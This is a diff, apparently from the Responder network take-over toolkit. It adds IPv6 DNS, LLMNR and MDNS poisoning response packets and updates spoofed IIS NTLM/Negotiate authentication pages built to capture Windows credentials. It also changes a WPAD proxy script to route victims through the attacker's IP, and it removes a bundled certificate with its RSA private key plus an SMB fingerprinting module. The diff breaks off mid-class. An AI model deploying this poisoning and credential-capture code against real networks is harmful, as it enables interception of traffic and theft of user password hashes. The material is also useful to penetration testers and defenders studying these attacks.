|
||||
|
||||
4
certs/gen-self-signed-cert.sh
Normal file → Executable file
4
certs/gen-self-signed-cert.sh
Normal file → Executable file
@@ -1,3 +1,3 @@
|
||||
#!/bin/bash
|
||||
openssl genrsa -out responder.key 2048
|
||||
openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/"
|
||||
openssl genrsa -out certs/responder.key 2048
|
||||
openssl req -new -x509 -days 3650 -key certs/responder.key -out certs/responder.crt -subj "/"
|
||||
|
||||
@@ -1,18 +0,0 @@
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIC4TCCAcmgAwIBAgIUO+GAjgRhHP9zb1avAb9yg8JyGOgwDQYJKoZIhvcNAQEL
|
||||
BQAwADAeFw0xOTA4MTYyMjA2MTFaFw0yOTA4MTMyMjA2MTFaMAAwggEiMA0GCSqG
|
||||
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDVvbov/KiK+Xbv/bhGQBlgb9eVqIFDtTPd
|
||||
0ZlLNOhRuHRUbw3XC3q3gPerfSE9ANeFUKfHpSUUA5AU4hjMSBMX1iUVR+OKgzTK
|
||||
czE4kAJe1ZJpiB8TU6FBapQwOPv9M463BOQQ8lfmX+EWerT+XniMFAmxf8FS7e4/
|
||||
V7JZbon7uU18fc6H8KxVaNCEM382SpL39zU7qRNVG65Jf4MejJZEk30GMC4m22Fb
|
||||
to6f/WS1NBk4HMdLClyXZngPY0idCuCZX3KBQvYpS3e1gEBsUPV0fZBz/GnvoE4o
|
||||
qTia83QJAkjZ0r77/NAptihsXrqB2VDuR6aP5Bf/YFr/U4H9y01lAgMBAAGjUzBR
|
||||
MB0GA1UdDgQWBBTs2vL9sLFs/p78FXHfgz7Zk8ZEwTAfBgNVHSMEGDAWgBTs2vL9
|
||||
sLFs/p78FXHfgz7Zk8ZEwTAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUA
|
||||
A4IBAQBIYrRgmGhAQr+VmyqSQcxYWW0GWKvGQwz5t1A8AoBe8d3SDb1mb/Lq/POx
|
||||
jnF67dAifYbTzz6JWsxCFED2UP8OL3oij0dWTfvGO//6nwhVss2Or0WTdxkSQVE4
|
||||
p4CElQYjvoYYhxuDzO3HsxqHBtxMOT+8fO/07aInxVWEtvmflNo3mxE4P7w6D8g5
|
||||
v2jZNf8EjTDQOF90kjkGGhTU7j9hRewfxzBZZOvaHA+/XczJ3fARpdYrvtFvvjnH
|
||||
Da1WjQDQhSLufZYcFrzd4i6pyXQYzevjgHSeFSJt78Hr0BxMkKzLAhsFmS6fiULm
|
||||
iKqwycWcwlFFUDbwBuOyfbfwjtUf
|
||||
-----END CERTIFICATE-----
|
||||
@@ -1,27 +0,0 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEpQIBAAKCAQEA1b26L/yoivl27/24RkAZYG/XlaiBQ7Uz3dGZSzToUbh0VG8N
|
||||
1wt6t4D3q30hPQDXhVCnx6UlFAOQFOIYzEgTF9YlFUfjioM0ynMxOJACXtWSaYgf
|
||||
E1OhQWqUMDj7/TOOtwTkEPJX5l/hFnq0/l54jBQJsX/BUu3uP1eyWW6J+7lNfH3O
|
||||
h/CsVWjQhDN/NkqS9/c1O6kTVRuuSX+DHoyWRJN9BjAuJtthW7aOn/1ktTQZOBzH
|
||||
Swpcl2Z4D2NInQrgmV9ygUL2KUt3tYBAbFD1dH2Qc/xp76BOKKk4mvN0CQJI2dK+
|
||||
+/zQKbYobF66gdlQ7kemj+QX/2Ba/1OB/ctNZQIDAQABAoIBAQCzi6i3XroF5ACx
|
||||
IKSG/plSlSC3qtDLG4/yKXtn3Y25+ARgWNl7Zz0yoLdr6rTdFbP1XQdTgbpf0Y5a
|
||||
vIKwN2syfsSv16+gTw8tcQ5LwUz8dNOEqr/P8FRpKypIR9YFoCWmQAmE4s5Lywa9
|
||||
Z15avujsYniyDetLympz8yryTRTDyh+APgZH5uWzzUnJZx588YdhHAPNU8QgpqGY
|
||||
HFpzoVyNcA16ptk/dW8+kqepBOn6Fx4NSqV+j81UnOTRhRCuEW2C4893pb9fqYYf
|
||||
DrRWxkmgU+Ntq8UJso25QK97K7+pstJTGwRv4dRBtsYAfx+9JyaUmsiuC7xy2sDj
|
||||
NuoQIw0BAoGBAPW6bMKOYPTmcNPxenjUHdRw7iYRQqL6EjehUFV0fqPayuEdKYre
|
||||
hQYtr7KYOQOcNpRW8A6/Ki0Qr3OQOMlQQKzpblo2G9uXdVjfkQ4fq7E6RCGWOvGr
|
||||
779EqwPnzXYuRHIb45oihdzlB5vhKrkYaLRcgqHeJPzghgGrxvkAgav1AoGBAN6t
|
||||
AO1LI1xQsQ4enRZcchq35ueAvwIW3x48T3UEKBk4OpR1GwGFY/8WlMpONHPaBa8e
|
||||
oLhHxd3GUZAx0ONRw9erLINJZg2BaGyoajR8xY4nE8lellKJG+enToBP1+ln2kwy
|
||||
G3PjdhNM9q71UHac6bPlTGy5PZjUdEnltp9QhSWxAoGBAM70f/0sJQSdwJEAZAG3
|
||||
xJfTtP9ishjJPOaVei8+uhoOf6gxA3fuCWM2vy9PfVVJD77Hqc8BuefSkbJm2SzT
|
||||
5mS7BTH9OGEtoquDP4wBqHzPcepHuMUp5fXVQ6M6a5UJSqRAUOTUBqIQUuQ6M91I
|
||||
bYbaEzt4+PXxs2tc3WuBvbSxAoGBAKIDV/BOwgyRvTDbv0mcu3yLH1qCxva7M10p
|
||||
XlpySsaGrcCEL8D8j5PylxFWsz0zfP08GI3b0rAYchGq3SP3wrkxFvLyvWjIJfUg
|
||||
2B0WRxq1feT+h/rHPWFfznL3JM3yvNbBgk3gSnGihr0nSYLziepUxDU61gFTWsTF
|
||||
eQkTKb0RAoGAQmZ+FKGEek2QSvgXbOoO1O2ypQRwtB+LuAGUFv8dEvwAtKn6CZAK
|
||||
jwzJEPnQ6t9fuNqe1iGJ2og4OQ4je93wxL8XMLI3oYWs+5FM8HaaqsYNVJWoRBFS
|
||||
T5faW0yVyQt0MQ13xh2mE2IfZoHiKrXKPZmuLRh+/slGZFJtlAOBciM=
|
||||
-----END RSA PRIVATE KEY-----
|
||||
@@ -1,66 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
|
||||
from utils import color, StructPython2or3, NetworkSendBufferPython2or3, NetworkRecvBufferPython2or3
|
||||
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
|
||||
|
||||
def OsNameClientVersion(data):
|
||||
try:
|
||||
if (sys.version_info > (3, 0)):
|
||||
length = struct.unpack('<H',data[43:45])[0]
|
||||
packet = NetworkRecvBufferPython2or3(data[47+length:])
|
||||
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in packet.split('\x00\x00\x00')[:2]])
|
||||
return OsVersion, ClientVersion
|
||||
else:
|
||||
length = struct.unpack('<H',data[43:45])[0]
|
||||
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
||||
return OsVersion, ClientVersion
|
||||
except:
|
||||
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
||||
|
||||
def RunSmbFinger(host):
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect(host)
|
||||
s.settimeout(0.7)
|
||||
|
||||
h = SMBHeader(cmd='\x72',flag1='\x18',flag2='\x53\xc8')
|
||||
n = SMBNego(data = str(SMBNegoFingerData()))
|
||||
n.calculate()
|
||||
Packet = str(h)+str(n)
|
||||
Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||
s.send(NetworkSendBufferPython2or3(Buffer1))
|
||||
data = s.recv(2048)
|
||||
|
||||
if data[8:10] == b'\x72\x00':
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
||||
Body = SMBSessionFingerData()
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||
s.send(NetworkSendBufferPython2or3(Buffer1))
|
||||
data = s.recv(2048)
|
||||
|
||||
if data[8:10] == b'\x73\x16':
|
||||
return OsNameClientVersion(data)
|
||||
except:
|
||||
print(color("[!] ", 1, 1) +" Fingerprint failed")
|
||||
return None
|
||||
9
odict.py
9
odict.py
@@ -1,9 +1,12 @@
|
||||
import sys
|
||||
try:
|
||||
from UserDict import DictMixin
|
||||
from UserDict import DictMixin
|
||||
except ImportError:
|
||||
from collections import UserDict
|
||||
from collections import MutableMapping as DictMixin
|
||||
from collections import UserDict
|
||||
try:
|
||||
from collections import MutableMapping as DictMixin
|
||||
except ImportError:
|
||||
from collections.abc import MutableMapping as DictMixin
|
||||
|
||||
class OrderedDict(dict, DictMixin):
|
||||
|
||||
|
||||
446
packets.py
446
packets.py
@@ -23,7 +23,7 @@ import re
|
||||
from os import urandom
|
||||
from base64 import b64decode, b64encode
|
||||
from odict import OrderedDict
|
||||
from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
|
||||
from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, RespondWithIPPton, RespondWithIP, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
|
||||
|
||||
# Packet class handling all packet generation (see odict.py).
|
||||
class Packet():
|
||||
@@ -89,7 +89,100 @@ class DNS_Ans(Packet):
|
||||
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
|
||||
self.fields["IP"] = RespondWithIPAton()
|
||||
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||
|
||||
# DNS Answer Packet OPT
|
||||
class DNS_AnsOPT(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tid", ""),
|
||||
("Flags", "\x85\x10"),
|
||||
("Question", "\x00\x01"),
|
||||
("AnswerRRS", "\x00\x01"),
|
||||
("AuthorityRRS", "\x00\x00"),
|
||||
("AdditionalRRS", "\x00\x01"),
|
||||
("QuestionName", ""),
|
||||
("QuestionNameNull", "\x00"),
|
||||
("Type", "\x00\x01"),
|
||||
("Class", "\x00\x01"),
|
||||
("AnswerPointer", "\xc0\x0c"),
|
||||
("Type1", "\x00\x01"),
|
||||
("Class1", "\x00\x01"),
|
||||
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
|
||||
("IPLen", "\x00\x04"),
|
||||
("IP", "\x00\x00\x00\x00"),
|
||||
("OPTName", "\x00"),
|
||||
("OPTType", "\x00\x29"),
|
||||
("OPTUDPSize", "\x10\x00"),
|
||||
("OPTRCode", "\x00"),
|
||||
("OPTEDNSVersion", "\x00"),
|
||||
("OPTLen", "\x00\x00"),# Hardcoded since it's fixed to 0 in this case.
|
||||
("OPTStr", "\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self,data):
|
||||
self.fields["Tid"] = data[0:2]
|
||||
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
|
||||
self.fields["IP"] = RespondWithIPAton()
|
||||
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||
|
||||
class DNS6_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tid", ""),
|
||||
("Flags", "\x85\x10"),
|
||||
("Question", "\x00\x01"),
|
||||
("AnswerRRS", "\x00\x01"),
|
||||
("AuthorityRRS", "\x00\x00"),
|
||||
("AdditionalRRS", "\x00\x00"),
|
||||
("QuestionName", ""),
|
||||
("QuestionNameNull", "\x00"),
|
||||
("Type", "\x00\x1c"),
|
||||
("Class", "\x00\x01"),
|
||||
("AnswerPointer", "\xc0\x0c"),
|
||||
("Type1", "\x00\x1c"),
|
||||
("Class1", "\x00\x01"),
|
||||
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
|
||||
("IPLen", "\x00\x04"),
|
||||
("IP", "\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self,data):
|
||||
self.fields["Tid"] = data[0:2]
|
||||
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
|
||||
self.fields["IP"] = RespondWithIPPton()
|
||||
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||
|
||||
class DNS6_AnsOPT(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tid", ""),
|
||||
("Flags", "\x85\x10"),
|
||||
("Question", "\x00\x01"),
|
||||
("AnswerRRS", "\x00\x01"),
|
||||
("AuthorityRRS", "\x00\x00"),
|
||||
("AdditionalRRS", "\x00\x01"),
|
||||
("QuestionName", ""),
|
||||
("QuestionNameNull", "\x00"),
|
||||
("Type", "\x00\x1c"),
|
||||
("Class", "\x00\x01"),
|
||||
("AnswerPointer", "\xc0\x0c"),
|
||||
("Type1", "\x00\x1c"),
|
||||
("Class1", "\x00\x01"),
|
||||
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
|
||||
("IPLen", "\x00\x04"),
|
||||
("IP", "\x00\x00\x00\x00"),
|
||||
("OPTName", "\x00"),
|
||||
("OPTType", "\x00\x29"),
|
||||
("OPTUDPSize", "\x10\x00"),
|
||||
("OPTRCode", "\x00"),
|
||||
("OPTEDNSVersion", "\x00"),
|
||||
("OPTLen", "\x00\x00"),# Hardcoded since it's fixed to 0 in this case.
|
||||
("OPTStr", "\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self,data):
|
||||
self.fields["Tid"] = data[0:2]
|
||||
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
|
||||
self.fields["IP"] = RespondWithIPPton()
|
||||
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||
|
||||
class DNS_SRV_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tid", ""),
|
||||
@@ -122,7 +215,7 @@ class DNS_SRV_Ans(Packet):
|
||||
def calculate(self,data):
|
||||
self.fields["Tid"] = data[0:2]
|
||||
DNSName = ''.join(data[12:].split('\x00')[:1])
|
||||
SplitFQDN = re.split('\W+', DNSName) # split the ldap.tcp.blah.blah.blah.domain.tld
|
||||
SplitFQDN = re.split(r'\W+', DNSName) # split the ldap.tcp.blah.blah.blah.domain.tld
|
||||
|
||||
#What's the question? we need it first to calc all other len.
|
||||
self.fields["QuestionName"] = DNSName
|
||||
@@ -181,6 +274,35 @@ class LLMNR_Ans(Packet):
|
||||
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
|
||||
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
|
||||
|
||||
class LLMNR6_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tid", ""),
|
||||
("Flags", "\x80\x00"),
|
||||
("Question", "\x00\x01"),
|
||||
("AnswerRRS", "\x00\x01"),
|
||||
("AuthorityRRS", "\x00\x00"),
|
||||
("AdditionalRRS", "\x00\x00"),
|
||||
("QuestionNameLen", "\x09"),
|
||||
("QuestionName", ""),
|
||||
("QuestionNameNull", "\x00"),
|
||||
("Type", "\x00\x1c"),
|
||||
("Class", "\x00\x01"),
|
||||
("AnswerNameLen", "\x09"),
|
||||
("AnswerName", ""),
|
||||
("AnswerNameNull", "\x00"),
|
||||
("Type1", "\x00\x1c"),
|
||||
("Class1", "\x00\x01"),
|
||||
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
|
||||
("IPLen", "\x00\x04"),
|
||||
("IP", "\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["IP"] = RespondWithIPPton()
|
||||
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
|
||||
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
|
||||
|
||||
# MDNS Answer Packet
|
||||
class MDNS_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
@@ -200,8 +322,34 @@ class MDNS_Ans(Packet):
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["IP"] = RespondWithIPAton()
|
||||
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||
|
||||
# MDNS6 Answer Packet
|
||||
class MDNS6_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tid", "\x00\x00"),
|
||||
("Flags", "\x84\x00"),
|
||||
("Question", "\x00\x00"),
|
||||
("AnswerRRS", "\x00\x01"),
|
||||
("AuthorityRRS", "\x00\x00"),
|
||||
("AdditionalRRS", "\x00\x00"),
|
||||
("AnswerName", ""),
|
||||
("AnswerNameNull", "\x00"),
|
||||
("Type", "\x00\x1c"),
|
||||
("Class", "\x00\x01"),
|
||||
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
|
||||
("IPLen", "\x00\x04"),
|
||||
("IP", "\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["IP"] = RespondWithIPPton()
|
||||
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||
|
||||
################### DHCP SRV ######################
|
||||
|
||||
|
||||
##### HTTP Packets #####
|
||||
class NTLM_Challenge(Packet):
|
||||
fields = OrderedDict([
|
||||
@@ -211,13 +359,13 @@ class NTLM_Challenge(Packet):
|
||||
("TargetNameLen", "\x06\x00"),
|
||||
("TargetNameMaxLen", "\x06\x00"),
|
||||
("TargetNameOffset", "\x38\x00\x00\x00"),
|
||||
("NegoFlags", "\x05\x02\x89\xa2"),
|
||||
("NegoFlags", "\x05\x02\x81\xa2" if settings.Config.NOESS_On_Off else "\x05\x02\x89\xa2"),
|
||||
("ServerChallenge", ""),
|
||||
("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("TargetInfoLen", "\x7e\x00"),
|
||||
("TargetInfoMaxLen", "\x7e\x00"),
|
||||
("TargetInfoOffset", "\x3e\x00\x00\x00"),
|
||||
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
|
||||
("NTLMOsVersion", "\x0a\x00\x7c\x4f\x00\x00\x00\x0f"),
|
||||
("TargetNameStr", settings.Config.Domain),
|
||||
("Av1", "\x02\x00"),#nbt name
|
||||
("Av1Len", "\x06\x00"),
|
||||
@@ -278,25 +426,59 @@ class NTLM_Challenge(Packet):
|
||||
class IIS_Auth_401_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
|
||||
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||
("WWW-Auth", "WWW-Authenticate: Negotiate\r\n"),
|
||||
("WWW-Auth2", "WWW-Authenticate: NTLM\r\n"),
|
||||
("Len", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("CRLF", "\r\n\r\n"),
|
||||
("Payload", """<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
|
||||
<title>401 - Unauthorized: Access is denied due to invalid credentials.</title>
|
||||
<style type="text/css">
|
||||
<!--
|
||||
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
|
||||
fieldset{padding:0 15px 10px 15px;}
|
||||
h1{font-size:2.4em;margin:0;color:#FFF;}
|
||||
h2{font-size:1.7em;margin:0;color:#CC0000;}
|
||||
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
|
||||
#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;
|
||||
background-color:#555555;}
|
||||
#content{margin:0 0 0 2%;position:relative;}
|
||||
.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
|
||||
-->
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div id="header"><h1>Server Error</h1></div>
|
||||
<div id="content">
|
||||
<div class="content-container"><fieldset>
|
||||
<h2>401 - Unauthorized: Access is denied due to invalid credentials.</h2>
|
||||
<h3>You do not have permission to view this directory or page using the credentials that you supplied.</h3>
|
||||
</fieldset></div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
"""),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
|
||||
class IIS_Auth_Granted(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
|
||||
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("CRLF", "\r\n\r\n"),
|
||||
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
|
||||
("Payload", ""),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
@@ -304,12 +486,34 @@ class IIS_Auth_Granted(Packet):
|
||||
class IIS_NTLM_Challenge_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
|
||||
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWWAuth", "WWW-Authenticate: NTLM "),
|
||||
("Payload", ""),
|
||||
("Payload-CRLF", "\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("CRLF", "\r\n\r\n"),
|
||||
("Payload2", """<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
|
||||
<HTML><HEAD><TITLE>Not Authorized</TITLE>
|
||||
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
|
||||
<BODY><h2>Not Authorized</h2>
|
||||
<hr><p>HTTP Error 401. The requested resource requires user authentication.</p>
|
||||
</BODY></HTML>
|
||||
"""),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload2"]))
|
||||
|
||||
class WinRM_NTLM_Challenge_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 401\r\n"),
|
||||
("WWWAuth", "WWW-Authenticate: Negotiate "),
|
||||
("Payload", ""),
|
||||
("Payload-CRLF", "\r\n"),
|
||||
("ServerType", "Server: Microsoft-HTTPAPI/2.0\r\n"),
|
||||
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
@@ -320,27 +524,58 @@ class IIS_NTLM_Challenge_Ans(Packet):
|
||||
class IIS_Basic_401_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"),
|
||||
("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"),
|
||||
("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||
("Len", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("CRLF", "\r\n\r\n"),
|
||||
("Payload", """<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
|
||||
<title>401 - Unauthorized: Access is denied due to invalid credentials.</title>
|
||||
<style type="text/css">
|
||||
<!--
|
||||
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
|
||||
fieldset{padding:0 15px 10px 15px;}
|
||||
h1{font-size:2.4em;margin:0;color:#FFF;}
|
||||
h2{font-size:1.7em;margin:0;color:#CC0000;}
|
||||
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
|
||||
#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;
|
||||
background-color:#555555;}
|
||||
#content{margin:0 0 0 2%;position:relative;}
|
||||
.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
|
||||
-->
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div id="header"><h1>Server Error</h1></div>
|
||||
<div id="content">
|
||||
<div class="content-container"><fieldset>
|
||||
<h2>401 - Unauthorized: Access is denied due to invalid credentials.</h2>
|
||||
<h3>You do not have permission to view this directory or page using the credentials that you supplied.</h3>
|
||||
</fieldset></div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
"""),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
|
||||
##### Proxy mode Packets #####
|
||||
class WPADScript(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ServerTlype", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||
("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"),
|
||||
("Cache", "Pragma: no-cache\r\n"),
|
||||
("Server", "Server: BigIP\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("CRLF", "\r\n\r\n"),
|
||||
("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
|
||||
("Payload", "function FindProxyForURL(url, host){return 'PROXY "+RespondWithIP()+":3141; DIRECT';}"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
@@ -351,7 +586,7 @@ class ServeExeFile(Packet):
|
||||
("ContentType", "Content-Type: application/octet-stream\r\n"),
|
||||
("LastModified", "Last-Modified: "+HTTPCurrentDate()+"\r\n"),
|
||||
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
|
||||
("Server", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("Server", "Server: Microsoft-IIS/10.0\r\n"),
|
||||
("ContentDisp", "Content-Disposition: attachment; filename="),
|
||||
("ContentDiFile", ""),
|
||||
("FileCRLF", ";\r\n"),
|
||||
@@ -373,7 +608,7 @@ class ServeHtmlFile(Packet):
|
||||
("ContentType", "Content-Type: text/html\r\n"),
|
||||
("LastModified", "Last-Modified: "+HTTPCurrentDate()+"\r\n"),
|
||||
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
|
||||
("Server", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("Server", "Server: Microsoft-IIS/10.0\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("Date", "\r\nDate: "+HTTPCurrentDate()+"\r\n"),
|
||||
@@ -388,7 +623,7 @@ class ServeHtmlFile(Packet):
|
||||
class WPAD_Auth_407_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
|
||||
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
